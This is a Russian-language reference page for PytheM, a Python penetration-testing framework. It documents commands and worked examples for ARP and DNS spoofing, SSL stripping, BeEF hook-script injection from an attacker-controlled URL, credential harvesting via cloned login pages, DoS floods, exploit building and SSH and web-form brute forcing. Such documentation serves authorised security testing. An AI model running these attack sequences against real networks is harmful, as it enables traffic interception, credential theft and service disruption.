PytheM
Описание PytheM
PytheM — это многоцелевой фреймворк для тестирования на проникновения, написан на Python.
Домашняя страница: https://github.com/m4n3dw0lf/PytheM
Автор: m4n3dw0lf
Лицензия: GPLv3
Справка по PytheM
Краткая характеристика команд PytheM.
Раздел: Основное
- help: Напечатать справку.
- exit/quit: Покинуть программу.
- set: Установить значение переменные.
аргументы:
- interface
- gateway
- target
- file
- arpmode
- domain
- redirect
- script
- filter
примеры:
pythem> set interface [+] Enter the interface: или pythem> set interface wlan0
- print: Напечатать значение переменной.
примеры:
pythem> print gateway
Раздел: Сеть, человек-посередине и отказ в обслуживании (DOS)
- scan: Выполнить tcp(значимые порты)/manual[ручное](порт)/arp(уровень-2) сканирование.
Следует вызвать после установки интерфейса и цели
Цели могут быть IP адресами или сетевыми диапазонами с CIDR
аргументы:
- tcp
- arp
- manual
примеры:
pythem> scan [*] Select one scan mode, options = tcp/arp/manual [+] Scan mode: arp или pythem> scan tcp pythem> scan manual [+] Enter the port, ports (separated by commas): 21,22,25,80
- arpspoof: Запустить или остановить атаку arp-спуфинга.
Опциональная настройка arpmode для выбора режима arp-спуфинга должно быть укаозано rep или req
rep для спуфа ответов, req для спуфа запросов
аргументы:
- start
- stop
примеры:
pythem> arpspoof start pythem> arpspoof stop pythem> arpspoof status
- dnsspoof: Запустить атаку dns спуфинга.
Следует запускать после начала атаки arp-спуфинга
аргументы:
- start
- stop
примеры:
pythem> dnsspoof start pythem> dnsspoof stop pythem> dnsspoof status
- hstsbypass: Запустить sslstrip+ и dns2proxy
SSLstrip+ от: LeonardoNve && M.Marlinspike
DNS2Proxy от: LeonardoNve
Следует вызвать после начала атаки ARP спуфинга
пример:
pythem> hstsbypass
- inject: Запуск веб-сервера со скриптом для внедрения
Следует использовать после начала arp-спуфинга
аргументы:
- start
- stop
примеры:
pythem> inject start pythem> inject stop
- sniff: Запуск сниффинга пакетов.
Следует вызывать после настройки интерфейса
фильтры по запросу для сниффинга:
- http
- dns
- core | Вам нужно это попробовать!
Все фильтры и не-фильтры проходят через пользовательский фильтр PytheM для минимизации избыточности.
примеры:
pythem> sniff http или pythem> sniff [+] Enter the filter: port 1337 and host 10.0.1.5 (tcpdump-like format)
- dos: Запустить атаку отказ-в-обслуживании (DoS).
аргументы:
- dnsdrop > Запуск отбразывания DNS запросов, проходящий через трафик человек-посередине.
ARP спуфинг нужно инициализировать для блокировки сети целевого IP или диапазона.
- synflood > Запуск атаки SYN флуда на целевой хост, порт по умолчанию = 80, успользуйте set для изменения порта.
- udpflood > Запуск атаки UDP флуда на целевой хост, порт по умолчанию = 80, успользуйте set для изменения порта.
- teardrop > Запуск атаки UDP teardrop fragmentation.
- land > Запуск атаки LAND на целевой адрес, порт по умолчанию = 80, успользуйте set для изменения порта.
- icmpflood > Запуск атаки ICMP флуда на целевой хост.
- pingofdeath > Запуск атаки ping of death (P.O.D) attack на целевой адрес.
- icmpsmurf > Запуск атаки ICMP на целевой хост. Отправка эхо-запросов с адресом цели в качестве источника.
- dhcpstarvation > Запуск атаки DHCP на сетевой DHCP сервер. Множественный спуфинг MAC, dhcp обнаружение.
- dnsamplification > Запуск атаки DNS на целевой адрес с заданными DNS серверами для аплификации.
пример:
pythem> dos dnsdrop help pythem> dos synflood
- pforensic: Запуск анализатора пакетов
Следует вызывать после настройки интерфейса или файла .pcap
examples:
pythem> pforensic pforensic> help
Краткая справка по криминалистическим командам
- help: Напечатать справку
- clear: Очистить экран, то же самое что и "clear" в ОС GNU/Linux
- exit/quit: Возврат в pythem
- show: Показать все пакеты и их индексный номер.
- conversations: Отображение пиктограммы с разговорами между хостами из анализируемого файла.
- packetdisplay [число]: Показать полное содержимое выбранного пакета по индексу.
- packetload [число]: Отобразить полезную нагрузку выбранного по индексу пакета.
Раздел: Разработка эксплойтов и обратный инженеринг
- xploit: Разработка интерактивной оболочки stdin или tcp эксплойта
Аргумент stdin должен быть вызван после настройки файла
Аргумент tcp должен быть вызван после установки цели
аргументы:
- stdin
- tcp
пример:
pythem> set file ./exec pythem> xploit stdin or pythem> xploit [*] Select one xploit mode, options = stdin/tcp [+] Exploit mode: xploit> help
Краткая справка по командам эксплуатирования
- help: Напечатать справку.
- clear: Очистить экран, то же самое что и "clear" в ОС GNU/Linux
- exit/quit: Возврат в pythem.
- set: Установить значения переменных.
параметры:
- offset > Число ОС 'A's чтобы перезаписать указатель команд.
- addr1 > (Опционально) Hexa(0xaddress) Первый адрес для перезаписи после смещения.
- addr2 > (Опционально) Hexa(0xaddress) Второй адрес для перезаписи после смещения.
- nops > (Опционально) Количество NOPs после IP перезаписи или после addr1 и addr2 если они установлены.
- shellcode > (Опционально) Шеллкод (может быть сгенерирован в msfvenom или любым другим).
- lenght > Общая длина полезной нагрузки.
- arch > Архитектура процессора целевой системы.
- print: Напечатать значение переменной.
пример:
xploit> print offset
- decode/encode: Раскодировать или кодировать строку с выбранным образцом.
примеры:
xploit> decode hex xploit> encode hex
- search: Автоматический поиск инструкций и опкода в исполнимом бинарнике
параметры:
- instructions
- opcode
примеры:
xploit> search [+] Search (instructions/opcode): или xploit> search instructions ? - any character [+] Find: pop ?di % - any character xploit> search opcode [+] Find: ffe4
- xploit: Запустить эксплойт после всех настрооек.
пример:
xploit> xploit
- fuzz: Запустить фазинг на субъекте.
Если для эксплойта передан файл, то будет фазить stdin
Если для эксплойта передана цель, то будет фазить tcp
Значением сдвига будет число 'A's для отправки.
[Default = 1] will be increased in 1 by 1. example: [offset = 10] will be increased in 10 by 10.
пример:
xploit> fuzz
Всё другое будет выполнено в отладочной оболочке GNU с целевым файлом
Раздел: Брут-форс
- brute: Запуск атаки брут-форс.
Следует вызывать после настройки цели и пути файла до словаря
аргументы:
- ssh > ip адрес в качестве цели
- url > url (с http:// или https://) в качестве цели
- form > url (с http:// или https://) в качестве цели
примеры:
pythem> brute form pythem> brute ssh
Раздел: Утилиты
- geoip: Приблизительная геолокация распложения IP адреса.
Следует вызывать после установки цели (ip адрес)
примеры:
pythem> geoip или pythem> geoip 8.8.8.8 (without setting target)
- harvest: Сбор учётных данных из указанного файла, файл по умолчанию: sslstrip.log
пример:
pythem> harvest
- decode/encode: Декодировать или кодировать строку по выбранному образцу
примеры:
pythem> decode base64 [*] String to be decoded: или pythem> encode hex [*] String to be encoded:
- cookiedecode: Декодировать закодированное в base64 url значение куки.
пример:
pythem> cookiedecode
Всё остальное вроде ls, nano, cat и т. д. будет выполнено в терминале
Руководство по PytheM
Страница man отсутствует.
Примеры запуска PytheM
ARP спуфинг — Человек-посередине
pythem> set interface [+] Enter the interface: wlan0 pythem> set gateway [+] Enter the gateway: 192.168.1.1 pythem> arpspoof start [+] Setting the packet forwarding. [+] Iptables redefined. [+] ARP spoofing initialized. pythem> sniff [+] Enter the filter: core
ARP+DNS спуф — редирект на поддельную страницу для сбора учётных данных
- используйте SET или любой другой клонер сайтов по своему выбору для клонирования сайтов и размещения на apache2
pythem> set target [+] Enter the target(s): 192.168.0.8 pythem> set interface wlan0 pythem> set gateway 192.168.0.1 pythem> arpspoof start [+] Setting the packet forwarding. [+] Iptables redefined. [+] ARP spoofing initialized. pythem> dnsspoof start [!] Type all to spoof all domains [+] Domain to be spoofed: www.domainame.com [+] Default address to redirect is:192.168.0.6 do you want to change?[y/n]n [+] DNS spoofing initialized. pythem> sniff core
Человек-посередине с обходом HSTS - Очистка SSL
pythem> set interface wlan0 pythem> set gateway 192.168.0.1 pythem> set target 192.168.0.8 pythem> arpspoof start [+] Setting the packet forwarding. [+] Iptables redefined. [+] ARP spoofing initialized. pythem> hstsbypass [*] SSLstrip+ initialized |_by: LeonardoNve && M.Marlinspike [*] DNS2Proxy initialized |_by: LeonardoNve pythem> sniff core
Человек-посередине с внедрением крюка BeEF
- Запустите BeEF xss framework и получите url скрипта для подцепления
pythem> set interface wlan0 pythem> set target 192.168.1.8 pythem> set gateway 192.168.1.1 pythem> arpspoof start [*] Iptables redefined [*] Setting the packet forwarding. [+] ARP spoofing initialized. pythem> inject start [+] Enter the script source: http://192.168.1.6:3000/hook.js [+] Script Injection initialized. [+] Injection URL - http://192.168.1.6:80 [+] Script Injected on: ('192.168.1.8', 34310)
Атака брут-форса SSH
pythem> service ssh start pythem> set target [+] Enter the target(s): 127.0.0.1 pythem> set file wordlist.txt pythem> brute-force ssh [+] Enter the username to bruteforce: anon123
Брут-форс веб-страницы
- Для начала получите исходный код веб-страницы и получите значение id= логина и пароля.
- Показать результаты редиректа попытки поскольку если переходит на другую страницу, может сработало.
pythem> set target http://127.0.0.1/ pythem> set file [+] Enter the path to the file: wordlist.txt pythem> brute-force webform [+] Brute-Form authentication initialized. [+] Enter the input id of the username box: vSIS_ID [+] Enter the input id of the password box: vSIS_PASS [+] Enter the username to brute-force the formulary: root
Бустер контента URL
pythem> set target [+] Enter the target(s): http://testphp.vulnweb.com/index.php?id= pythem> set file 1to100.txt pythem> brute-force url [+] Content URL bruter initialized.
Блокировка DNS запросов диапазона/IP адреса локальной сети
Может быть полезным блокировать DNS, чтобы вынудить администратора подключения зайти на HTTP сервер роутера со своими учётными данными, для проверки, что происходит.
pythem> set interface wlan0 pythem> set gateway 192.168.1.1 pythem> arpspoof start [*] Iptables redefined [*] Setting the packet forwarding. [+] ARP spoofing initialized. pythem> dos dnsdrop [+] Man-in-the-middle DNS drop initialized. pythem> sniff core
Перенаправление всех возможных DNS запросов на хост
Подсказка: запустите apache2 или любой другой веб-сервер с заранее подготовленной HTML-страницей.
pythem> set interface wlan0 pythem> set gateway 10.0.0.1 pythem> arpspoof start [*] Iptables redefined [*] Setting the packet forwarding. [+] ARP spoofing initialized. pythem> dnsspoof start [!] Type all to spoof all domains [+] Domain to be spoofed: all [+] Default address to redirect is:10.0.0.3 do you want to change?[y/n]n [+] DNS spoofing initialized
Установка PytheM
Установка в Kali Linux
sudo apt-get update sudo apt-get install build-essential python-dev libnetfilter-queue-dev libffi-dev libssl-dev libpcap-dev git clone https://github.com/m4n3dw0lf/PytheM.git cd PytheM sudo pip install -r requirements.txt sudo ./pythem.py
Установка в BlackArch
Программа предустановлена в BlackArch.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты PytheM
Инструкции по PytheM
Ссылки на инструкции будут добавлены позже.
Comments are Closed